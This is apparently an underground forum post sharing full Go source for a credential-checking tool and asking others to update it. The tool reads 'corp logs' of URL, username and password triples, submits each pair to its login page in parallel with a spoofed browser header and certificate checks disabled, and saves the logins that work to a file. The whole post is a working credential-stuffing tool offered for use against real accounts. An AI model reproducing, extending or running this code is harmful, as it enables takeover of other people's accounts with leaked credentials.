D2
Администратор
- Регистрация
- 19 Фев 2025
- Сообщения
- 4,380
- Реакции
- 0
Someone may come handy and update the source
Pull strings and requests.
Код: Скопировать в буфер обмена
Pull strings and requests.
Код: Скопировать в буфер обмена
Код:
package main
import (
"bufio"
"bytes"
"crypto/tls"
"fmt"
"net/http"
"net/url"
"os"
"path/filepath"
"strings"
"sync"
"time"
ui "github.com/gizak/termui/v3"
"github.com/gizak/termui/v3/widgets"
"github.com/fatih/color"
)
var CounterMutex sync.Mutex
var PanelMutex sync.Mutex
func checkLogin(loginURL, username, password string, wg *sync.WaitGroup, errorCounter *int, validCounter *int, validList *widgets.List, invalidList *widgets.List, errorList *widgets.List) {
defer wg.Done()
client := &http.Client{}
var req *http.Request
var err error
method := http.MethodGet
if strings.HasPrefix(strings.ToLower(loginURL), "https://") || strings.HasPrefix(strings.ToLower(loginURL), "http://") {
method = http.MethodPost
}
if method == http.MethodPost {
formData := url.Values{}
formData.Set("username", username)
formData.Set("password", password)
req, err = http.NewRequest(http.MethodPost, loginURL, bytes.NewBufferString(formData.Encode()))
if err != nil {
fmt.Printf("Error creating request: %s\n", err)
return
}
req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
} else {
req, err = http.NewRequest(http.MethodGet, loginURL, nil)
if err != nil {
fmt.Printf("Error creating request: %s\n", err)
return
}
}
req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36")
req.Header.Set("Accept-Language", "en-US,en;q=0.9")
req.Header.Set("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9")
client.Transport = &http.Transport{
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
}
resp, err := client.Do(req)
if err != nil {
fmt.Printf("Error making request: %s\n", err)
CounterMutex.Lock()
*errorCounter++
errorList.Rows = append(errorList.Rows, fmt.Sprintf("Error: %s", loginURL))
CounterMutex.Unlock()
return
}
defer resp.Body.Close()
if resp.StatusCode == http.StatusOK {
color.Green("Valid Access: %s", loginURL)
saveResult("valid_accesses.txt", loginURL)
CounterMutex.Lock()
*validCounter++
validList.Rows = append(validList.Rows, fmt.Sprintf("Valid: %s", loginURL))
CounterMutex.Unlock()
} else {
color.Red("Invalid Access: %s", loginURL)
saveResult("invalid_accesses.txt", loginURL)
CounterMutex.Lock()
invalidList.Rows = append(invalidList.Rows, fmt.Sprintf("Invalid: %s", loginURL))
CounterMutex.Unlock()
}
}
func saveResult(filename, result string) {
timestamp := time.Now().Format("2006-01-02_15-04-05")
dir := filepath.Join(".", "results")
if _, err := os.Stat(dir); os.IsNotExist(err) {
os.Mkdir(dir, os.ModePerm)
}
filepath := filepath.Join(dir, filename)
f, err := os.OpenFile(filepath, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
if err != nil {
fmt.Printf("Error opening file: %s\n", err)
return
}
defer f.Close()
_, err = f.WriteString(fmt.Sprintf("[%s] %s\n", timestamp, result))
if err != nil {
fmt.Printf("Error writing to file: %s\n", err)
}
}
func main() {
err := ui.Init()
if err != nil {
panic(err)
}
defer ui.Close()
color.Cyan(`
█████████ █████ █████
███░░░░░███ ░░███ ░░███
███ ░░░ ██████ ████████ ████████ ░░███ ███
░███ ███░░███░░███░░███░░███░░███ ░░█████
░███ ░███ ░███ ░███ ░░░ ░███ ░███ ███░███
░░███ ███░███ ░███ ░███ ░███ ░███ ███ ░░███
░░█████████ ░░██████ █████ ░███████ █████ ██ ███
░░░░░░░░░ ░░░░░░ ░░░░░ ░███░░░ ░░░░░ ░░░░░
░███
█████
░░░░░`)
reader := bufio.NewReader(os.Stdin)
fmt.Print("File containing corp logs: ")
filePath, _ := reader.ReadString('\n')
filePath = strings.TrimSpace(filePath)
file, err := os.Open(filePath)
if err != nil {
panic(fmt.Errorf("error opening file: %s", err))
}
defer file.Close()
var wg sync.WaitGroup
totalLines := 0
errorCounter := 0
validCounter := 0
validList := widgets.NewList()
invalidList := widgets.NewList()
errorList := widgets.NewList()
ui.Render(validList, invalidList, errorList)
scanner := bufio.NewScanner(file)
for scanner.Scan() {
line := scanner.Text()
parts := strings.Split(line, ":")
if len(parts) != 3 {
fmt.Printf("Invalid line format: %s\n", line)
continue
}
loginURL := parts[0]
username := parts[1]
password := parts[2]
totalLines++
wg.Add(1)
go checkLogin(loginURL, username, password, &wg, &errorCounter, &validCounter, validList, invalidList, errorList)
}
go func() {
wg.Wait()
ui.Render(validList, invalidList, errorList)
}()
color.Cyan("Total lines uploaded: %d", totalLines)
uiEvents := ui.PollEvents()
for {
e := <-uiEvents
switch e.ID {
case "q", "<Cc>":
ui.Close()
fmt.Println("Do you want to exit? (yes/no)")
exitResponse, _ := reader.ReadString('\n')
exitResponse = strings.TrimSpace(exitResponse)
if exitResponse == "yes" {
return
}
}
}
}